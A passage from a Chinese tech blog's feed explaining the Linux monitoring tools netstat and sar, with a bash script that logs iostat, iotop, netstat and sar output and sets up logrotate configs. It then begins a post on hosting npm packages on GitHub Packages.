class="lvl-2"><p>&#x67E5;&#x770B;&#x67D0;&#x4E2A;&#x7AEF;&#x53E3;&#x6216;&#x8005; socket &#x6B63;&#x5728;&#x88AB;&#x54EA;&#x4E2A;&#x8FDB;&#x7A0B;/&#x670D;&#x52A1;&#x5360;&#x7528;, &#x4F7F;&#x7528; <code>-p</code> &#x9009;&#x9879;: <code>netstat -p -tln | grep :80</code></p></li><li class="lvl-2"><p>&#x67E5;&#x770B;&#x7F51;&#x5361;&#x7684;&#x7F51;&#x7EDC;&#x6570;&#x636E;&#x7EDF;&#x8BA1;&#x4FE1;&#x606F;&#xFF0C;&#x4F7F;&#x7528; <code>-s</code> &#x9009;&#x9879;&#xFF1A;<code>netstat -s 3</code>, &#x540E;&#x9762;&#x63A5;&#x4E00;&#x4E2A;&#x6570;&#x5B57; 3 &#x8868;&#x793A;&#x6BCF; 3 &#x79D2;&#x5237;&#x65B0;&#x4E00;&#x6B21;&#xFF0C;&#x4E5F;&#x610F;&#x5473;&#x7740;&#x8FDB;&#x5165; <code>--continue</code> &#x6A21;&#x5F0F;&#x3002;</p></li></ul><h3 id="4-sar">4. sar</h3><p>sar &#x8868;&#x793A; <strong>s</strong>ystem <strong>a</strong>ctivity <strong>r</strong>eporter, &#x4E5F;&#x662F; Linux &#x4E0A;&#x6709;&#x7528;&#x7684;&#x6027;&#x80FD;&#x5206;&#x6790;&#x5DE5;&#x5177;&#x3002;</p><p>&#x4F7F;&#x7528;&#x683C;&#x5F0F;&#x662F;&#xFF1A; sar [ options ] [ t <interval> [ n<count> ] ] [-o file]</count></interval></p><p>&#x5E38;&#x7528;&#x7684;&#x9009;&#x9879; options &#x6709;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">-b      I/O &#x548C;&#x4F20;&#x9001;&#x901F;&#x7387;&#x7684;&#x7EDF;&#x8BA1; [A_IO]</span><br><span class="line">-B      &#x5185;&#x5B58;&#x5206;&#x9875;&#x7EDF;&#x8BA1; [A_PAGE]</span><br><span class="line">-d      &#x5757;&#x8BBE;&#x5907;&#x7EDF;&#x8BA1; [A_DISK]</span><br><span class="line">-n { &lt;&#x5173;&#x952E;&#x8BCD;&gt; [,...] | ALL }</span><br><span class="line">        &#x7F51;&#x7EDC;&#x7EDF;&#x8BA1; [A_NET_...]</span><br><span class="line">        &#x5173;&#x952E;&#x8BCD;&#x6709;:</span><br><span class="line">        DEV     Network interfaces</span><br><span class="line">        EDEV    Network interfaces (errors)</span><br><span class="line">        IP      IP traffic      (v4)</span><br><span class="line">        EIP     IP traffic      (v4) (errors)</span><br><span class="line">        TCP     TCP traffic     (v4)</span><br><span class="line">        ETCP    TCP traffic     (v4) (errors)</span><br><span class="line">        UDP     UDP traffic     (v4)</span><br><span class="line">        UDP6    UDP traffic     (v6)</span><br><span class="line">        SOCK    Sockets (v4)</span><br><span class="line">        SOCK6   Sockets (v6)</span><br><span class="line">        IP6     IP traffic      (v6)</span><br><span class="line">        EIP6    IP traffic      (v6) (errors)</span><br><span class="line">-q [ &lt;&#x5173;&#x952E;&#x8BCD;&gt; [,...] | PSI | ALL ]</span><br><span class="line">        System load and pressure-stall statistics</span><br><span class="line">        &#x5173;&#x952E;&#x8BCD;&#x6709;:</span><br><span class="line">        LOAD    Queue length and load average statistics [A_QUEUE]</span><br><span class="line">        CPU     Pressure-stall CPU statistics [A_PSI_CPU]</span><br><span class="line">        IO      Pressure-stall I/O statistics [A_PSI_IO]</span><br><span class="line">        MEM     Pressure-stall memory statistics [A_PSI_MEM]</span><br><span class="line">-r [ ALL ]</span><br><span class="line">        &#x5185;&#x5B58;&#x4F7F;&#x7528;&#x7EDF;&#x8BA1; [A_MEMORY]</span><br><span class="line">-S      &#x4EA4;&#x6362;&#x5185;&#x5B58;&#x4F7F;&#x7528;&#x7EDF;&#x8BA1; [A_MEMORY]</span><br><span class="line">-u [ ALL ]</span><br><span class="line">        CPU &#x5229;&#x7528;&#x7387; [A_CPU]</span><br><span class="line">-v      Kernel tables statistics [A_KTABLES]</span><br><span class="line">-W      Swapping statistics [A_SWAP]</span><br><span class="line">-w      Task creation and system switching statistics [A_PCSW]</span><br><span class="line">-y      TTY devices statistics [A_SERIAL]</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>t</code> &#x8868;&#x793A;&#x91C7;&#x6837;&#x95F4;&#x9694;&#xFF0C;<code>n</code> &#x8868;&#x793A;&#x91C7;&#x6837;&#x6B21;&#x6570;</p><p><code>-o</code> &#x8868;&#x793A;&#x8F93;&#x51FA;&#x5230;&#x6307;&#x5B9A;&#x6587;&#x4EF6;&#xFF0C;&#x4E4B;&#x540E;&#x8FD8;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>-f</code> &#x6307;&#x5B9A;&#x8BFB;&#x53D6;&#x8BE5;&#x6587;&#x4EF6;&#xFF0C;&#x67E5;&#x770B;&#x4E4B;&#x524D;&#x8BB0;&#x5F55;&#x7684;&#x7EDF;&#x8BA1;&#x6570;&#x636E;&#x3002;</p><p>&#x5B9E;&#x9645;&#x573A;&#x666F;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>&#x6392;&#x67E5; CPU &#x76F8;&#x5173;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x6267;&#x884C; <code>sar -u 1 10</code> &#x548C; <code>sar -q 1 10</code> &#x6BCF;&#x95F4;&#x9694; 1 &#x79D2;&#x91C7;&#x96C6;&#x4E00;&#x6B21;&#xFF0C;&#x5171;&#x91C7;&#x96C6; 10 &#x6B21;&#x3002;</p></li><li class="lvl-2"><p>&#x6392;&#x67E5;&#x5185;&#x5B58;&#x76F8;&#x5173;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x6267;&#x884C; <code>sar -r</code>, <code>sar -B</code>, <code>sar -W</code>&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x52A0;&#x4E0A;&#x91C7;&#x96C6;&#x95F4;&#x9694;&#x548C;&#x91C7;&#x96C6;&#x6B21;&#x6570;&#x3002;</p></li><li class="lvl-2"><p>&#x6392;&#x67E5; IO &#x76F8;&#x5173;&#x95EE;&#x9898;&#xFF0C;&#x6267;&#x884C; <code>sar -b</code>, <code>sar -u</code>, <code>sar -d</code>&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x52A0;&#x4E0A;&#x91C7;&#x96C6;&#x95F4;&#x9694;&#x548C;&#x91C7;&#x96C6;&#x6B21;&#x6570;&#x3002;</p></li></ul><p>&#x6CE8;&#x610F;&#x5230;&#x8FD9;&#x4E2A;&#x547D;&#x4EE4;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x64CD;&#x4F5C;&#x7CFB;&#x7EDF;&#x6216;&#x53D1;&#x884C;&#x7248;&#x672C;&#x4E2D;&#x53EF;&#x80FD;&#x5728;&#x9009;&#x9879;&#x4E0A;&#x6709;&#x4E9B;&#x5DEE;&#x5F02;&#xFF0C;&#x9700;&#x8981;&#x5728;&#x5177;&#x4F53;&#x7CFB;&#x7EDF;&#x4E2D;&#x4F7F;&#x7528; <code>sar --help</code> &#x6765;&#x786E;&#x8BA4;&#x3002;</p><blockquote><p>&#x53C2;&#x8003;&#xFF1A; <a href="https://linuxtools-rst.readthedocs.io/zh-cn/latest/tool/sar.html">https://linuxtools-rst.readthedocs.io/zh-cn/latest/tool/sar.html</a></p></blockquote><h3 id="&#x4E00;&#x4E2A;&#x5C0F;&#x811A;&#x672C;">&#x4E00;&#x4E2A;&#x5C0F;&#x811A;&#x672C;</h3><p>&#x4E4B;&#x524D;&#x9879;&#x76EE;&#x4E2D;&#x9700;&#x8981;&#x5BF9;&#x7CFB;&#x7EDF;&#x7F51;&#x7EDC;&#x60C5;&#x51B5;&#x8FDB;&#x884C;&#x76D1;&#x63A7;&#xFF0C;&#x6240;&#x4EE5;&#x5199;&#x4E86;&#x8FD9;&#x4E2A;&#x811A;&#x672C;&#x3002;&#x5B83;&#x5B9E;&#x73B0;&#x4E86;&#x5C06;&#x7F51;&#x7EDC;&#x7EDF;&#x8BA1;&#x6570;&#x636E;&#x5199;&#x5165;&#x65E5;&#x5FD7;&#x6587;&#x4EF6;&#xFF0C;&#x7136;&#x540E;&#x5B9A;&#x671F;&#x5BF9;&#x65E5;&#x5FD7;&#x6587;&#x4EF6;&#x8FDB;&#x884C; rotate&#xFF0C;&#x4E22;&#x6389;&#x8FC7;&#x671F;&#x7684;&#x6587;&#x4EF6;(logroate &#x670D;&#x52A1;&#x6709;&#x7CFB;&#x7EDF;&#x7684; crontab job &#x5B9A;&#x671F;&#x6267;&#x884C;)&#x3002;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">! /bin/bash</span></span><br><span class="line">set -e</span><br><span class="line"></span><br><span class="line">LOGROTATE_IOSTAT=/etc/logrotate.d/iostat</span><br><span class="line">LOGROTATE_IOTOP=/etc/logrotate.d/iotop</span><br><span class="line">LOGROTATE_SAR=/etc/logrotate.d/sar</span><br><span class="line">LOGROTATE_NETSTAT=/etc/logrotate.d/netstat</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">todo</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">SYSTEMD_PATH=/usr/lib/systemd/system/watcher.service</span></span><br><span class="line"></span><br><span class="line">new_date() {</span><br><span class="line">    date &apos;+%Y-%m-%d-%H-%M-%S&apos;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function run_iotop() {</span><br><span class="line"><span class="meta prompt_">  # </span><span class="language-bash">time-stamp, batch, only process</span></span><br><span class="line">  ret=`iotop -tboP -d $interval | tee -a $logger`</span><br><span class="line">  if [[ $? -eq 0 ]]; then</span><br><span class="line">    echo &quot;done ...&quot; | tee -a $logger</span><br><span class="line">    exit</span><br><span class="line">  fi</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">run_iostat() {</span><br><span class="line">  while true; do</span><br><span class="line">    ret=`iostat -t -y -d $interval | tee -a $logger`</span><br><span class="line">    if [[ $? -eq 0 ]]; then</span><br><span class="line">      echo &quot;done ...&quot; | tee -a $logger</span><br><span class="line">      exit</span><br><span class="line">    fi</span><br><span class="line">  done</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">run_netstat() {</span><br><span class="line">  ret=`netstat -s $interval | tee -a $logger`</span><br><span class="line">  if [[ $? -eq 0 ]]; then</span><br><span class="line">    echo &quot;done ...&quot; | tee -a $logger</span><br><span class="line">    echo &gt;&amp;3</span><br><span class="line">    exit</span><br><span class="line">  fi</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">run_sar() {</span><br><span class="line">  while true; do</span><br><span class="line">    ret=`sar -n ETCP $interval | tee -a $logger`</span><br><span class="line">    if [[ $? -eq 0 ]]; then</span><br><span class="line">      echo &quot;done ...&quot; | tee -a $logger</span><br><span class="line">      exit</span><br><span class="line">    fi</span><br><span class="line">  done</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">setup_logroate() {</span><br><span class="line">  LOG=$(readlink -f ${1})</span><br><span class="line">  LOG_CONF=$2</span><br><span class="line">  if [[ ! -f $LOG_CONF ]]; then</span><br><span class="line">    cat &lt;&lt;-EOF &gt; $LOG_CONF</span><br><span class="line"><span class="meta prompt_">$</span><span class="language-bash">LOG {</span></span><br><span class="line">daily</span><br><span class="line">create</span><br><span class="line">rotate 31</span><br><span class="line">missingok</span><br><span class="line">copytruncate</span><br><span class="line">dateext</span><br><span class="line">compress</span><br><span class="line">minsize 1M</span><br><span class="line">create 666 root root</span><br><span class="line">}</span><br><span class="line">EOF</span><br><span class="line">  fi</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">stop_iostat() {</span><br><span class="line">  ps -ef | grep iostat | grep -v grep | grep -v $1 | grep -v tee | awk &apos;{print $2}&apos; | xargs -I{} kill -9 {}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">stop_iotop() {</span><br><span class="line">  ps -ef | grep iotop | grep -v grep | grep -v $1 | grep -v tee | awk &apos;{print $2}&apos; | xargs -I{} kill -9 {}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">stop_netstat() {</span><br><span class="line">  ps -ef | grep netstat | grep -v grep | grep -v $1 | grep -v tee | awk &apos;{print $2}&apos; | xargs -I{} kill -9 {}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">stop_sar() {</span><br><span class="line">  ps -ef | grep sar | grep -v grep | grep -v $1 | grep -v tee | awk &apos;{print $2}&apos; | xargs -I{} kill -9 {}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">show_usage() {</span><br><span class="line">  echo &quot;Usage: $0 [-c | --cmd] [-o | --operate] [-i | --interval] [-f | --log-file] [-h | --help]&quot;</span><br><span class="line">  echo &quot;Example: $0 -c iostat -o start -i 3 -f /home/logs/iostat.log &quot;</span><br><span class="line">  echo &quot;Example: $0 -c iostat -o stop&quot;</span><br><span class="line">  echo &quot;COMMONDS: iotop, iostat, netstat, sar&quot;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">main() {</span><br><span class="line">  if [[ $# -lt 1 ]]; then</span><br><span class="line">    show_usage</span><br><span class="line">    exit 1</span><br><span class="line">  fi</span><br><span class="line"></span><br><span class="line">  script_name=$0</span><br><span class="line">  ARGS=$(getopt -o i:,f:,o:,c:,h --long cmd:,operate:,interval:,log-file:,help, -- &quot;$@&quot;)</span><br><span class="line">  if [[ $? -ne 0 ]]; then</span><br><span class="line">      echo &quot;parse params error.&quot;</span><br><span class="line">      show_usage</span><br><span class="line">      exit 1</span><br><span class="line">  fi</span><br><span class="line">  eval set -- &quot;${ARGS}&quot;</span><br><span class="line">  while true; do</span><br><span class="line">    case $1 in</span><br><span class="line">    -c | --cmd)</span><br><span class="line">      cmd=$2</span><br><span class="line">      shift 2</span><br><span class="line">      ;;</span><br><span class="line">    -o | --operate)</span><br><span class="line">      operate=$2</span><br><span class="line">      shift 2</span><br><span class="line">      ;;</span><br><span class="line">    -i | --interval)</span><br><span class="line">      interval=$2</span><br><span class="line">      shift 2</span><br><span class="line">      ;;</span><br><span class="line">    -f | --log-file)</span><br><span class="line">      logger=$2</span><br><span class="line">      shift 2</span><br><span class="line">      ;;</span><br><span class="line">    -h | --help)</span><br><span class="line">      show_usage</span><br><span class="line">      exit</span><br><span class="line">      ;;</span><br><span class="line">    --)</span><br><span class="line">      shift</span><br><span class="line">      break</span><br><span class="line">      ;;</span><br><span class="line">    *)</span><br><span class="line">      show_usage</span><br><span class="line">      exit 2</span><br><span class="line">      ;;</span><br><span class="line">    esac</span><br><span class="line">  done</span><br><span class="line"></span><br><span class="line">  if [[ -z $logger ]]; then</span><br><span class="line">    logger=$(new_date)-${cmd}.log</span><br><span class="line">  fi</span><br><span class="line">  if [[ -z $interval ]]; then</span><br><span class="line">    interval=1</span><br><span class="line">  fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">  # </span><span class="language-bash">iostat</span></span><br><span class="line">  if [[ $cmd == &quot;iostat&quot; &amp;&amp; $operate == &quot;start&quot; ]]; then</span><br><span class="line">    setup_logroate $logger $LOGROTATE_IOSTAT</span><br><span class="line">    run_iostat &amp;</span><br><span class="line">  fi</span><br><span class="line">  if [[ $cmd == &quot;iostat&quot; &amp;&amp; $operate == &quot;stop&quot; ]]; then</span><br><span class="line">    stop_iostat $script_name</span><br><span class="line">  fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">  # </span><span class="language-bash">iotop</span></span><br><span class="line">  if [[ $cmd == &quot;iotop&quot; &amp;&amp; $operate == &quot;start&quot; ]]; then</span><br><span class="line">    setup_logroate $logger $LOGROTATE_IOTOP</span><br><span class="line">    run_iotop &amp;</span><br><span class="line">  fi</span><br><span class="line">  if [[ $cmd == &quot;iotop&quot; &amp;&amp; $operate == &quot;stop&quot; ]]; then</span><br><span class="line">    stop_iotop $script_name</span><br><span class="line">  fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">  # </span><span class="language-bash">netstat</span></span><br><span class="line">  if [[ $cmd == &quot;netstat&quot; &amp;&amp; $operate == &quot;start&quot; ]]; then</span><br><span class="line">    setup_logroate $logger $LOGROTATE_NETSTAT</span><br><span class="line">    run_netstat &amp;</span><br><span class="line">  fi</span><br><span class="line">  if [[ $cmd == &quot;netstat&quot; &amp;&amp; $operate == &quot;stop&quot; ]]; then</span><br><span class="line">    stop_netstat $script_name</span><br><span class="line">  fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">  # </span><span class="language-bash">sar</span></span><br><span class="line">  if [[ $cmd == &quot;sar&quot; &amp;&amp; $operate == &quot;start&quot; ]]; then</span><br><span class="line">    setup_logroate $logger $LOGROTATE_SAR</span><br><span class="line">    run_sar &amp;</span><br><span class="line">  fi</span><br><span class="line">  if [[ $cmd == &quot;sar&quot; &amp;&amp; $operate == &quot;stop&quot; ]]; then</span><br><span class="line">    stop_sar $script_name</span><br><span class="line">  fi</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">main &quot;$@&quot;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x6D89;&amp;#x53CA;&amp;#x5230; &lt;code&gt;iotop&lt;/code&gt;, &lt;code&gt;iostat&lt;/code&gt;, &lt;code&gt;netstat&lt;/code&gt;, &lt;code&gt;sar&lt;/code&gt; &amp;#x547D;&amp;#x4EE4;&amp;#x7684;&amp;#x4F7F;&amp;#x7528;&amp;#x3002;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x5168;&amp;#x9762;&amp;#x4ECB;&amp;#x7ECD;Linux&amp;#x7CFB;&amp;#x7EDF;&amp;#x4E0B;&amp;#x56DB;&amp;#x79CD;&amp;#x5F3A;&amp;#x5927;&amp;#x7684;&amp;#x7F51;&amp;#x7EDC;&amp;#x4E0E;IO&amp;#x76D1;&amp;#x63A7;&amp;#x5DE5;&amp;#x5177;&amp;#x53CA;&amp;#x5176;&amp;#x5B9E;&amp;#x9645;&amp;#x5E94;&amp;#x7528;&amp;#x3002;&amp;#x8BE6;&amp;#x7EC6;&amp;#x8BB2;&amp;#x89E3;&amp;#x4E86;iotop&amp;#x8FDB;&amp;#x7A0B;&amp;#x7EA7;IO&amp;#x76D1;&amp;#x63A7;&amp;#x3001;iostat&amp;#x8BBE;&amp;#x5907;IO&amp;#x7EDF;&amp;#x8BA1;&amp;#x3001;netstat&amp;#x7F51;&amp;#x7EDC;&amp;#x8FDE;&amp;#x63A5;&amp;#x5206;&amp;#x6790;&amp;#x548C;sar&amp;#x7CFB;&amp;#x7EDF;&amp;#x6D3B;&amp;#x52A8;&amp;#x62A5;&amp;#x544A;&amp;#x5DE5;&amp;#x5177;&amp;#x7684;&amp;#x5B89;&amp;#x88C5;&amp;#x914D;&amp;#x7F6E;&amp;#x3001;&amp;#x547D;&amp;#x4EE4;&amp;#x9009;&amp;#x9879;&amp;#x548C;&amp;#x5E38;&amp;#x89C1;&amp;#x4F7F;&amp;#x7528;&amp;#x573A;&amp;#x666F;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x6700;&amp;#x540E;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x4E00;&amp;#x4E2A;&amp;#x5B9E;&amp;#x7528;&amp;#x811A;&amp;#x672C;&amp;#xFF0C;&amp;#x7528;&amp;#x4E8E;&amp;#x81EA;&amp;#x52A8;&amp;#x6536;&amp;#x96C6;&amp;#x7CFB;&amp;#x7EDF;&amp;#x7F51;&amp;#x7EDC;&amp;#x6570;&amp;#x636E;&amp;#x5E76;&amp;#x5B9E;&amp;#x73B0;&amp;#x65E5;&amp;#x5FD7;&amp;#x8F6E;&amp;#x8F6C;&amp;#xFF0C;&amp;#x5E2E;&amp;#x52A9;&amp;#x7CFB;&amp;#x7EDF;&amp;#x7BA1;&amp;#x7406;&amp;#x5458;&amp;#x9AD8;&amp;#x6548;&amp;#x76D1;&amp;#x6D4B;&amp;#x548C;&amp;#x6392;&amp;#x67E5;&amp;#x7F51;&amp;#x7EDC;&amp;#x6027;&amp;#x80FD;&amp;#x95EE;&amp;#x9898;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    
    <category term="Tools" scheme="https://oschina.win/tags/Tools/"/>
    
  </entry>
  
  <entry>
    <title>在 GitHub 上构建并存放自己的 npm package</title>
    <link href="https://oschina.win/posts/71ddcbe4.html"/>
    <id>https://oschina.win/posts/71ddcbe4.html</id>
    <published>2024-09-13T15:55:09.000Z</published>
    <updated>2024-09-13T15:55:09.000Z</updated>
    
    <content type="html"><![CDATA[<p>&#x672C;&#x6587;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x5982;&#x4F55;&#x5229;&#x7528;GitHub Packages&#x6258;&#x7BA1;&#x548C;&#x53D1;&#x5E03;&#x79C1;&#x6709;NPM&#x5305;&#x7684;&#x5B8C;&#x6574;&#x6D41;&#x7A0B;&#x3002;&#x4ECE;&#x521B;&#x5EFA;&#x79C1;&#x6709;&#x4ED3;&#x5E93;&#x3001;&#x751F;&#x6210;&#x8BBF;&#x95EE;&#x4EE4;&#x724C;&#xFF0C;&#x5230;&#x521D;&#x59CB;&#x5316;&#x5305;&#x914D;&#x7F6E;&#x3001;&#x6388;&#x6743;&#x53D1;&#x5E03;&#x548C;&#x4F7F;&#x7528;&#x5305;&#xFF0C;&#x6BCF;&#x4E00;&#x6B65;&#x90FD;&#x6709;&#x6E05;&#x6670;&#x7684;&#x64CD;&#x4F5C;&#x6307;&#x5357;&#x3002;&#x6587;&#x7AE0;&#x8FD8;&#x6DB5;&#x76D6;&#x4E86;&#x4E0D;&#x540C;&#x7684;&#x914D;&#x7F6E;&#x65B9;&#x5F0F;&#x5BF9;&#x6BD4;&#x3001;&#x5305;&#x7684;&#x53EF;&#x89C1;&#x6027;&#x8BBE;&#x7F6E;&#x4EE5;&#x53CA;&#x81EA;&#x52A8;&#x5316;&#x53D1;&#x5E03;&#x7684;GitHub Actions&#x5DE5;&#x4F5C;&#x6D41;&#x914D;&#x7F6E;&#xFF0C;&#x4E3A;&#x5F00;&#x53D1;&#x8005;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4EFD;&#x5B9E;&#x7528;&#x7684;&#x79C1;&#x6709;NPM&#x5305;&#x7BA1;&#x7406;&#x65B9;&#x6848;&#x3002;</p><span id="more"></span><p>&#x4E4B;&#x524D;&#x63D0;&#x5230;&#x8FC7;&#x4ECE; npmjs &#x5B98;&#x7F51;&#x4E0B;&#x8F7D;&#x7684;&#x5305;&#x957F;&#x65F6;&#x95F4;&#x65E0;&#x4EBA;&#x7EF4;&#x62A4;&#xFF0C;&#x5B58;&#x5728; bug &#x65E0;&#x6CD5;&#x4F7F;&#x7528;&#xFF0C;&#x4E8E;&#x662F; fork &#x8FC7;&#x6765;&#x4FEE;&#x6539;&#x5E76;&#x5728;&#x672C;&#x5730;&#x4F7F;&#x7528; npm link &#x7684;&#x65B9;&#x5F0F;&#x5728;&#x672C;&#x5730;&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x3002;</p><p>&#x4F46;&#x662F;&#x8FD9;&#x79CD;&#x65B9;&#x5F0F;&#x5C31;&#x53EA;&#x80FD;&#x5728;&#x672C;&#x5730;&#x7528;&#x4E86;&#xFF0C;&#x5982;&#x679C;&#x9879;&#x76EE;&#x8981;&#x5728;&#x8FDC;&#x7A0B;&#x90E8;&#x7F72;&#xFF0C;&#x9700;&#x8981;&#x628A;&#x81EA;&#x5DF1;&#x7684;&#x5305;&#x6258;&#x7BA1;&#x5728;&#x4E00;&#x4E2A;&#x516C;&#x5F00;&#x7684;&#x5730;&#x65B9;&#xFF0C;&#x800C; GitHub Packages &#x521A;&#x597D;&#x662F;&#x8FD9;&#x6837;&#x7684;&#x5730;&#x65B9;&#x3002;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240915232928.png" alt="image.png"></p><p>&#x4E0B;&#x9762;&#x5C31;&#x8BB0;&#x5F55;&#x4E00;&#x4E0B;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#xFF0C;&#x867D;&#x7136;&#x6211;&#x7684;&#x535A;&#x5BA2;&#x90E8;&#x7F72;&#x6700;&#x7EC8;&#x6CA1;&#x6709;&#x7528;&#x5230;&#x8FD9;&#x79CD;&#x65B9;&#x6848;&#x3002;</p><h2 